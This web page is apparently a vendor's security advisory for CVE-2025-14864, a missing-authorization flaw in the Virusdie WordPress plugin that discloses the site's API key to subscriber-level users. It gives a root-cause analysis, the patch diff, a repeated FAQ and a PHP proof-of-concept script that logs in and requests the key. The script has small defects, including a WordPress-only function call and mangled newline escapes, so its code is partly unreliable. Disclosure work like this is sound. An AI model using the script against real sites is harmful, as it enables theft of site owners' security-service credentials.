What is CVE-2025-14864?

CVE-2025-14864 is a security vulnerability in the Virusdie WordPress plugin versions up to 1.1.7. It allows authenticated users with Subscriber-level access or higher to retrieve the site’s Virusdie API key due to missing authorization checks in the AJAX endpoint.

How does the vulnerability work?

The vulnerability arises from the `vd_get_apikey` function, which is accessible via the `wp_ajax_virusdie_apikey` action without proper capability checks. Authenticated users can send a POST request to the AJAX endpoint and receive the site’s API key in plaintext.

Who is affected by this vulnerability?

Any WordPress site using the Virusdie plugin version 1.1.7 or earlier is affected. This includes sites where users have Subscriber-level access or higher, allowing them to exploit the vulnerability.

How can I check if my site is vulnerable?

Check the version of the Virusdie plugin installed on your WordPress site. If it is version 1.1.7 or earlier, your site is vulnerable. Additionally, review user roles to identify if any authenticated users have Subscriber-level access.

How can I fix this vulnerability?

Upgrade the Virusdie plugin to version 1.1.8 or later, where the vulnerable AJAX endpoint has been removed. Ensure that all plugins and themes are regularly updated to maintain security.

What does the CVSS score of 4.3 indicate?

A CVSS score of 4.3 indicates a medium severity vulnerability. This suggests that while the risk is not critical, it can lead to sensitive information exposure, which could be exploited by attackers to compromise site security.

What are the practical risks of this vulnerability?

If exploited, attackers can obtain the Virusdie API key, allowing them to access the site owner’s Virusdie account. This could lead to unauthorized changes in security settings, malicious scans, or exposure of sensitive data.

How does the proof of concept demonstrate the issue?

The proof of concept provided shows how an authenticated user can log in to a WordPress site and send a request to the vulnerable AJAX endpoint. It illustrates the steps to retrieve the API key, confirming the vulnerability’s existence and impact.

What should I do if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the Virusdie plugin until it can be updated to prevent exploitation. Additionally, review user permissions and limit access to trusted users only.

Is this vulnerability related to any specific user roles?

Yes, the vulnerability can be exploited by any authenticated user with Subscriber-level access or higher. This includes roles such as Contributor, Author, Editor, and Administrator, making it critical to manage user permissions carefully.

What are the implications of exposing the Virusdie API key?

The Virusdie API key is crucial for managing website security through the Virusdie service. Its exposure can lead to unauthorized access, allowing attackers to manipulate security settings and potentially compromise the entire site.

How can I secure my WordPress site against similar vulnerabilities?

To enhance security, regularly update all plugins and themes, implement strong user role management, and consider using security plugins that monitor for vulnerabilities. Regular security audits can also help identify and mitigate risks.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2025-14864: Virusdie <= 1.1.7 – Missing Authorization to Authenticated (Subscriber+) API Key Disclosure (virusdie)

CVE ID CVE-2025-14864

Plugin virusdie

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 1.1.7

Patched Version 1.1.8

Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14864:
The Virusdie WordPress plugin version 1.1.7 and earlier contains a missing authorization vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to retrieve the site’s Virusdie API key via an AJAX endpoint. The CVSS 4.3 score reflects a medium severity information exposure issue.

Atomic Edge research identifies the root cause in the plugin’s AJAX action registration. In the vulnerable version, the file `virusdie/inc/class-virusdie.php` registers the `vd_get_apikey` function to the `wp_ajax_virusdie_apikey` hook at line 71. The corresponding function `VDWS_VirusdieBehavior::vd_get_apikey` lacks any capability check. The `canDoAjax` function in `virusdie/inc/tools/class-virusdie-behavior.php` contains a proper `current_user_can(‘manage_options’)` check, but the vulnerable AJAX handler does not call this function before processing the request.

Exploitation requires an authenticated attacker with any valid WordPress user account. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `virusdie_apikey`. No additional parameters are required. The server responds with the site’s Virusdie API key in plaintext, which the attacker can then use to interact with the Virusdie service as the site owner.

The patch completely removes the vulnerable AJAX endpoint registration. In `virusdie/inc/class-virusdie.php`, lines 71-74, the developer commented out four `add_action` calls, including the critical `add_action( ‘wp_ajax_virusdie_apikey’, ‘VDWS_VirusdieBehavior::vd_get_apikey’ )`. The plugin version number increments from 1.1.7 to 1.1.8. The patch also comments out the entire `canDoAjax` function and related AJAX handler functions in `class-virusdie-behavior.php`, effectively disabling all AJAX functionality rather than implementing proper authorization checks.

Successful exploitation exposes the site’s Virusdie API key. An attacker can use this key to access the site owner’s Virusdie account through the external service API. This access could allow manipulation of security settings, initiation of malicious scans, or retrieval of sensitive scan results. The API key could also be used to link the compromised site with other sites in the attacker’s control within the Virusdie ecosystem.

Differential between vulnerable and patched code

Code Diff

--- a/virusdie/inc/class-virusdie.php
+++ b/virusdie/inc/class-virusdie.php
@@ -67,12 +67,12 @@

 		add_filter( 'plugin_action_links_' . plugin_basename( VDWS_VIRUSDIE_PLUGIN_FILE ), array( $this, 'page_plugin_action' ) );

-		add_action( 'wp_ajax_virusdie_switcher', 'VDWS_VirusdieBehavior::vd_switcher' );
+		// add_action( 'wp_ajax_virusdie_switcher', 'VDWS_VirusdieBehavior::vd_switcher' );
 		// add_action( 'wp_ajax_nopriv_virusdie_switcher', 'VDWS_VirusdieBehavior::vd_switcher' ); // Will be used in future versions
-		add_action( 'wp_ajax_virusdie_start_scan', 'VDWS_VirusdieBehavior::vd_scan_start' );
-		add_action( 'wp_ajax_virusdie_get_progress', 'VDWS_VirusdieBehavior::vd_get_progress' );
-		add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' );
-		add_action( 'wp_ajax_virusdie_resend', 'VDWS_VirusdieBehavior::vd_resend' );
+		// add_action( 'wp_ajax_virusdie_start_scan', 'VDWS_VirusdieBehavior::vd_scan_start' );
+		// add_action( 'wp_ajax_virusdie_get_progress', 'VDWS_VirusdieBehavior::vd_get_progress' );
+		// add_action( 'wp_ajax_virusdie_apikey', 'VDWS_VirusdieBehavior::vd_get_apikey' );
+		// add_action( 'wp_ajax_virusdie_resend', 'VDWS_VirusdieBehavior::vd_resend' );
 	}

 	/**
@@ -126,17 +126,15 @@
 	{
 		$screen = get_current_screen();
 		// Don't enqueue anything unless we're on the virusdie page.
-		if ( ( !isset($_GET['page']) || 'virusdie' !== $_GET['page']) && !in_array($screen->base, array(
-				'dashboard',
-				'welcome',
-				'scan-start',
-				'scan-error',
-				'error',
-			))) {
-				return;
+		if (
+			(!isset($_GET['page']) || 'virusdie' !== $_GET['page']) &&
+			!in_array($screen->base, array('dashboard','welcome','scan-start','scan-error','error'))
+		) {
+			return;
 		}
+		$tab = self::get_current_tab();
 		wp_enqueue_style('virusdie-style', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/css/virusdie.css', array(), constant('VDWS_VIRUSDIE_PLUGIN_VERSION'));
-		if (in_array(self::$tab, array('free', 'premium'))) {
+		if ( $tab === 'free' || $tab === 'premium' ) {
 			wp_enqueue_style('jvector-virusdie-style', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/css/jquery-jvectormap-2.0.5.css', array('virusdie-style'), constant('VDWS_VIRUSDIE_PLUGIN_VERSION'));
 		}
 	}
@@ -159,37 +157,34 @@
 		// Don't enqueue anything unless we're on the virusdie page.
 		if (
 			(!isset($_GET['page']) || 'virusdie' !== $_GET['page']) &&
-			!in_array($screen->base, array('dashboard', 'welcome', 'scan-start', 'scan-error', 'error'))
+			!in_array($screen->base, array('dashboard','welcome','scan-start','scan-error','error'))
 		) {
 			return;
 		}
-		$tab = VDWS_Virusdie::get_current_tab();
+		$tab = self::get_current_tab();
 		wp_enqueue_script( 'socket-io-virusdie', constant('VDWS_VIRUSDIE_SITE_PANEL') . '/socket.io/socket.io.js', array(), null, true);
 		wp_enqueue_script( 'socketio-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-socketio.js', array('socket-io-virusdie'), null, true);
-		if ( $tab === 'auth-pass' ) {
+		/* if ( $tab === 'auth-pass' ) {
 			wp_enqueue_script( 'auth-pass-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-resend.js');
-		}
-		if ( in_array($tab, array('free', 'premium') ) ) {
+		} elseif ( $tab === 'scan-start' ) {
+			wp_enqueue_script( 'progressbar-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/progressbar.js', array(), null, true);
+			wp_enqueue_script( 'scanner-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-scanner.js', array('progressbar-virusdie'), null, true);
+		} else */
+		if ( $tab === 'free' || $tab === 'premium' ) {
 			wp_enqueue_script( 'sweetalert2-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/sweetalert2.all.min.js', array(), null, true);
 			wp_enqueue_script( 'jvector-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/jquery-jvectormap-2.0.5.min.js', array('jquery'), null, true);
 			wp_enqueue_script( 'world-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/jquery-jvectormap-world-mill.js', array('jvector-virusdie'), null, true);
 			wp_enqueue_script( 'map-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-map.js', array('jvector-virusdie', 'world-virusdie'), null, true);
-		}
-		if ( $tab === 'free' ) {
-			wp_enqueue_script( 'modals-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-modals.js', array(), null, true);
-		}
-		if ( $tab === 'premium' ) {
-			wp_enqueue_script( 'switcher-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-switcher.js', array(), null, true);
-		}
-		if ( $tab === 'scan-start' ) {
-			wp_enqueue_script( 'progressbar-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/progressbar.js', array(), null, true);
-			wp_enqueue_script( 'scanner-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-scanner.js', array('progressbar-virusdie'), null, true);
-		}
-		if ( $tab === 'welcome' ) {
+			if ( $tab === 'free' ) {
+				wp_enqueue_script( 'modals-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-modals.js', array(), null, true);
+			} elseif ( $tab === 'premium' ) {
+				// wp_enqueue_script( 'switcher-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-switcher.js', array(), null, true);
+			}
+		} elseif ( $tab === 'welcome' ) {
 			wp_enqueue_script( 'tiny-slider-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/tiny-slider.js', array(), null, true);
 			wp_enqueue_script( 'slider-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-slider.js', array(), null, true);
 		}
-		if ( in_array($tab, array('free','premium','scan-start','scan-error','welcome', 'error') ) ) {
+		if ( in_array($tab, array('free','premium','scan-start','scan-error','welcome','error')) ) {
 			wp_enqueue_script( 'usermenu-virusdie', constant('VDWS_VIRUSDIE_PLUGIN_URL') . 'assets/js/vdws-usermenu.js', array(), null, true);
 		}
 	}
@@ -300,8 +295,6 @@
 	/**
 	 * Render our admin page.
 	 *
-	 * @uses VDWS_Virusdie::get_current_tab()
-	 *
 	 * @return void
 	 */
 	public function dashboard_page()
--- a/virusdie/inc/tools/class-virusdie-behavior.php
+++ b/virusdie/inc/tools/class-virusdie-behavior.php
@@ -51,7 +51,7 @@
 				'site' => $this->site,
 				'user' => $this->user,
 				'fw_ping' => !empty($this->user) &&
-					($ping = file_get_contents($_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].'/?fw_t=ping&fw_k='.md5($this->user->getSyncFileName()))) &&
+					($ping = file_get_contents((isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http').'://'.$_SERVER['SERVER_NAME'].'/?fw_t=ping&fw_k='.md5($this->user->getSyncFileName()))) &&
 					($ping = json_decode($ping, true)) && !empty($ping['status']),
 			),
 			'footer' => array(
@@ -188,6 +188,7 @@
 		return false;
 	}

+	/*
 	public static function canDoAjax()
 	{
 		if (!current_user_can('manage_options')) {
@@ -271,5 +272,6 @@
 		}
 		wp_die(VDWS_VirusdieApiClient::signup($_POST['vd_email'], $err));
 	}
+	*/

 }
 No newline at end of file
--- a/virusdie/views/auth-pass.php
+++ b/virusdie/views/auth-pass.php
@@ -25,7 +25,7 @@
 				</p>
 				<div class="vd-auth__btns">
 					<button type="submit" class="vd-btn --green">Confirm one-time password</button>
-					<a href="" id="resend" class="vd-auth__link">Get one more one-time password</a>
+					<!-- <a href="" id="resend" class="vd-auth__link">Get one more one-time password</a> -->
 				</div>
 			</form>
 		</div>
--- a/virusdie/views/free.php
+++ b/virusdie/views/free.php
@@ -104,14 +104,14 @@
 				<div class="vd-antivirus__ctrl-block">
 					<span class="vd-antivirus__ctrl-text">Daily scans</span>
 					<label class="vd-switch-block__control --m-0" for="onDailyScans">
-						<input id="onDailyScans" type="checkbox" name="onDailyScans" class="vd-js-switch" data-available="off" <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
+						<input id="onDailyScans" type="checkbox" name="onDailyScans" class="vd-js-switch" data-available="off" disabled <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green"></span>
 					</label>
 				</div>
 				<div class="vd-antivirus__ctrl-block">
 					<span class="vd-antivirus__ctrl-text">Automatic website cleanup</span>
 					<label class="vd-switch-block__control --m-0" for="onAutoClean">
-						<input id="onAutoClean" type="checkbox" name="onAutoClean" class="vd-js-switch" data-available="off" <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> ?> />
+						<input id="onAutoClean" type="checkbox" name="onAutoClean" class="vd-js-switch" data-available="off" disabled <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green"></span>
 					</label>
 				</div>
@@ -154,7 +154,7 @@
 			<div class="vd-patchmanager__head">
 				<span class="vd-patchmanager__header">Patch Manager<mark>Premium</mark></span>
 				<label class="vd-switch-block__control --m-0" for="onPatchManager">
-					<input id="onPatchManager" type="checkbox" name="onPatchManager" class="vd-js-switch" data-available="off" <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
+					<input id="onPatchManager" type="checkbox" name="onPatchManager" class="vd-js-switch" data-available="off" disabled <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
 					<span class="vd-switch-block__slider --round --green"></span>
 				</label>
 			</div>
@@ -196,7 +196,7 @@
 			<div class="vd-fwall__head">
 				<span class="vd-fwall__header">Website Firewall<mark>Premium</mark></span>
 				<label class="vd-switch-block__control --m-0" for="onFireWall">
-					<input id="onFireWall" type="checkbox" name="onFireWall" class="vd-js-switch" data-available="off" <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
+					<input id="onFireWall" type="checkbox" name="onFireWall" class="vd-js-switch" data-available="off" disabled <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
 					<span class="vd-switch-block__slider --round --green"></span>
 				</label>
 			</div>
@@ -298,7 +298,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onSecDailyScans">
-						<input id="onSecDailyScans" type="checkbox" name="onDailyScansSec" class="vd-js-switch" data-available="off" <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
+						<input id="onSecDailyScans" type="checkbox" name="onDailyScansSec" class="vd-js-switch" data-available="off" disabled <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -310,7 +310,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onSecAutoClean">
-						<input id="onSecAutoClean" type="checkbox" name="onAutoCleanSec" data-available="off" class="vd-js-switch" <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> />
+						<input id="onSecAutoClean" type="checkbox" name="onAutoCleanSec" data-available="off" class="vd-js-switch" disabled <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -322,7 +322,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onSecFireWall">
-						<input id="onSecFireWall" type="checkbox" name="onFireWallSec" data-available="off" class="vd-js-switch" <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
+						<input id="onSecFireWall" type="checkbox" name="onFireWallSec" data-available="off" class="vd-js-switch" disabled <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -334,7 +334,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onSecFixPatching">
-						<input id="onSecFixPatching" type="checkbox" name="onPatchManagerSec" data-available="off" class="vd-js-switch" <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
+						<input id="onSecFixPatching" type="checkbox" name="onPatchManagerSec" data-available="off" class="vd-js-switch" disabled <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -347,7 +347,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onInsuranceSec">
-						<input id="onInsuranceSec" type="checkbox" name="onInsuranceSec" data-available="off" disabled="disabled">
+						<input id="onInsuranceSec" type="checkbox" name="onInsuranceSec" data-available="off" disabled />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
--- a/virusdie/views/premium.php
+++ b/virusdie/views/premium.php
@@ -80,14 +80,14 @@
 				<div class="vd-antivirus__ctrl-block">
 					<span class="vd-antivirus__ctrl-text">Daily scans</span>
 					<label class="vd-switch-block__control --m-0" for="onDailyScans">
-						<input id="onDailyScans" type="checkbox" name="onDailyScans" class="vd-js-switch" data-available="on" <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
+						<input id="onDailyScans" type="checkbox" name="onDailyScans" class="vd-js-switch" data-available="on" disabled <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green"></span>
 					</label>
 				</div>
 				<div class="vd-antivirus__ctrl-block">
 					<span class="vd-antivirus__ctrl-text">Automatic website cleanup</span>
 					<label class="vd-switch-block__control --m-0" for="onAutoClean">
-						<input id="onAutoClean" type="checkbox" name="onAutoClean" class="vd-js-switch" data-available="on" <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> ?> />
+						<input id="onAutoClean" type="checkbox" name="onAutoClean" class="vd-js-switch" data-available="on" disabled <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green"></span>
 					</label>
 				</div>
@@ -130,7 +130,7 @@
 			<div class="vd-patchmanager__head">
 				<span class="vd-patchmanager__header">Patch Manager<mark>Premium</mark></span>
 				<label class="vd-switch-block__control --m-0" for="onPatchManager">
-					<input id="onPatchManager" type="checkbox" name="onPatchManager" class="vd-js-switch" data-available="on" <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
+					<input id="onPatchManager" type="checkbox" name="onPatchManager" class="vd-js-switch" data-available="on" disabled <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
 					<span class="vd-switch-block__slider --round --green"></span>
 				</label>
 			</div>
@@ -164,7 +164,7 @@
 			<div class="vd-fwall__head">
 				<span class="vd-fwall__header">Website Firewall<mark>Premium</mark></span>
 				<label class="vd-switch-block__control --m-0" for="onFireWall">
-					<input id="onFireWall" type="checkbox" name="onFireWall" class="vd-js-switch" data-available="on" <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
+					<input id="onFireWall" type="checkbox" name="onFireWall" class="vd-js-switch" data-available="on" disabled <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
 					<span class="vd-switch-block__slider --round --green"></span>
 				</label>
 			</div>
@@ -258,7 +258,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onDailyScansSec">
-						<input id="onDailyScansSec" type="checkbox" name="onDailyScansSec" class="vd-js-switch" data-available="on" <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
+						<input id="onDailyScansSec" type="checkbox" name="onDailyScansSec" class="vd-js-switch" data-available="on" disabled <?php echo $vd_site->isDailyScan() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -270,7 +270,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onAutoCleanSec">
-						<input id="onAutoCleanSec" type="checkbox" name="onAutoCleanSec" data-available="on" class="vd-js-switch" <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> />
+						<input id="onAutoCleanSec" type="checkbox" name="onAutoCleanSec" data-available="on" class="vd-js-switch" disabled <?php echo $vd_site->isAutoTreatment() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -282,7 +282,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onFireWallSec">
-						<input id="onFireWallSec" type="checkbox" name="onFireWallSec" data-available="on" class="vd-js-switch" <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
+						<input id="onFireWallSec" type="checkbox" name="onFireWallSec" data-available="on" class="vd-js-switch" disabled <?php echo $vd_site->isFirewallOn() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -294,7 +294,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onPatchManagerSec">
-						<input id="onPatchManagerSec" type="checkbox" name="onPatchManagerSec" data-available="on" class="vd-js-switch" <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
+						<input id="onPatchManagerSec" type="checkbox" name="onPatchManagerSec" data-available="on" class="vd-js-switch" disabled <?php echo $vd_site->isPatchManager() ? 'checked' : ''; ?> />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
@@ -307,7 +307,7 @@
 						</p>
 					</div>
 					<label class="vd-switch-block__control --m-0 --green-border" for="onInsuranceSec">
-						<input id="onInsuranceSec" type="checkbox" name="onInsuranceSec" data-available="on" disabled="disabled">
+						<input id="onInsuranceSec" type="checkbox" name="onInsuranceSec" data-available="on" disabled />
 						<span class="vd-switch-block__slider --round --green-border"></span>
 					</label>
 				</div>
--- a/virusdie/virusdie.php
+++ b/virusdie/virusdie.php
@@ -8,7 +8,7 @@
  * Plugin Name: Virusdie | One-click website security
  * Description: One-Click Website security with Virusdie Wordpress Plugin
  * Author: Virusdie
- * Version: 1.1.7
+ * Version: 1.1.8
  * Requires PHP: 5.6
  * Author URI: https://virusdie.com
  * License: GPLv2
@@ -25,7 +25,7 @@
 }

 // Plugin version, name, path, URL
-define( 'VDWS_VIRUSDIE_PLUGIN_VERSION',   '1.1.7' );
+define( 'VDWS_VIRUSDIE_PLUGIN_VERSION',   '1.1.8' );
 define( 'VDWS_VIRUSDIE_PLUGIN_DIRECTORY', trailingslashit( plugin_dir_path( __FILE__ ) ) );
 define( 'VDWS_VIRUSDIE_PLUGIN_URL',       trailingslashit( plugins_url( '/', __FILE__ ) ) );
 define( 'VDWS_VIRUSDIE_PLUGIN_ADMIN_URL', admin_url( 'admin.php?page=virusdie', is_ssl() ? 'https' : 'http' ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14864 - Virusdie <= 1.1.7 - Missing Authorization to Authenticated (Subscriber+) API Key Disclosure

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute login
$response = curl_exec($ch);

// Check if login succeeded by looking for dashboard elements
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Now exploit the vulnerable AJAX endpoint
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'virusdie_apikey'
]));

$response = curl_exec($ch);
curl_close($ch);

// Parse and display the API key
$data = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($data['apikey'])) {
    echo "Virusdie API Key: " . $data['apikey'] . "n";
    echo "Vulnerability confirmed.n";
} else {
    echo "Failed to retrieve API key. Response: " . htmlspecialchars($response) . "n";
    echo "Target may be patched or plugin not active.n";
}

?>

Frequently Asked Questions

What is CVE-2025-14864?
Understanding the vulnerability
CVE-2025-14864 is a security vulnerability in the Virusdie WordPress plugin versions up to 1.1.7. It allows authenticated users with Subscriber-level access or higher to retrieve the site’s Virusdie API key due to missing authorization checks in the AJAX endpoint.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from the `vd_get_apikey` function, which is accessible via the `wp_ajax_virusdie_apikey` action without proper capability checks. Authenticated users can send a POST request to the AJAX endpoint and receive the site’s API key in plaintext.
Who is affected by this vulnerability?
Identifying at-risk users
Any WordPress site using the Virusdie plugin version 1.1.7 or earlier is affected. This includes sites where users have Subscriber-level access or higher, allowing them to exploit the vulnerability.
How can I check if my site is vulnerable?
Assessing your WordPress installation
Check the version of the Virusdie plugin installed on your WordPress site. If it is version 1.1.7 or earlier, your site is vulnerable. Additionally, review user roles to identify if any authenticated users have Subscriber-level access.
How can I fix this vulnerability?
Steps to mitigate the issue
Upgrade the Virusdie plugin to version 1.1.8 or later, where the vulnerable AJAX endpoint has been removed. Ensure that all plugins and themes are regularly updated to maintain security.
What does the CVSS score of 4.3 indicate?
Understanding risk levels
A CVSS score of 4.3 indicates a medium severity vulnerability. This suggests that while the risk is not critical, it can lead to sensitive information exposure, which could be exploited by attackers to compromise site security.
What are the practical risks of this vulnerability?
Potential consequences of exploitation
If exploited, attackers can obtain the Virusdie API key, allowing them to access the site owner’s Virusdie account. This could lead to unauthorized changes in security settings, malicious scans, or exposure of sensitive data.
How does the proof of concept demonstrate the issue?
Example of exploitation
The proof of concept provided shows how an authenticated user can log in to a WordPress site and send a request to the vulnerable AJAX endpoint. It illustrates the steps to retrieve the API key, confirming the vulnerability’s existence and impact.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If an immediate update is not possible, consider disabling the Virusdie plugin until it can be updated to prevent exploitation. Additionally, review user permissions and limit access to trusted users only.
Is this vulnerability related to any specific user roles?
User permissions and exploitation
Yes, the vulnerability can be exploited by any authenticated user with Subscriber-level access or higher. This includes roles such as Contributor, Author, Editor, and Administrator, making it critical to manage user permissions carefully.
What are the implications of exposing the Virusdie API key?
Understanding the API key's importance
The Virusdie API key is crucial for managing website security through the Virusdie service. Its exposure can lead to unauthorized access, allowing attackers to manipulate security settings and potentially compromise the entire site.
How can I secure my WordPress site against similar vulnerabilities?
Best practices for WordPress security
To enhance security, regularly update all plugins and themes, implement strong user role management, and consider using security plugins that monitor for vulnerabilities. Regular security audits can also help identify and mitigate risks.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations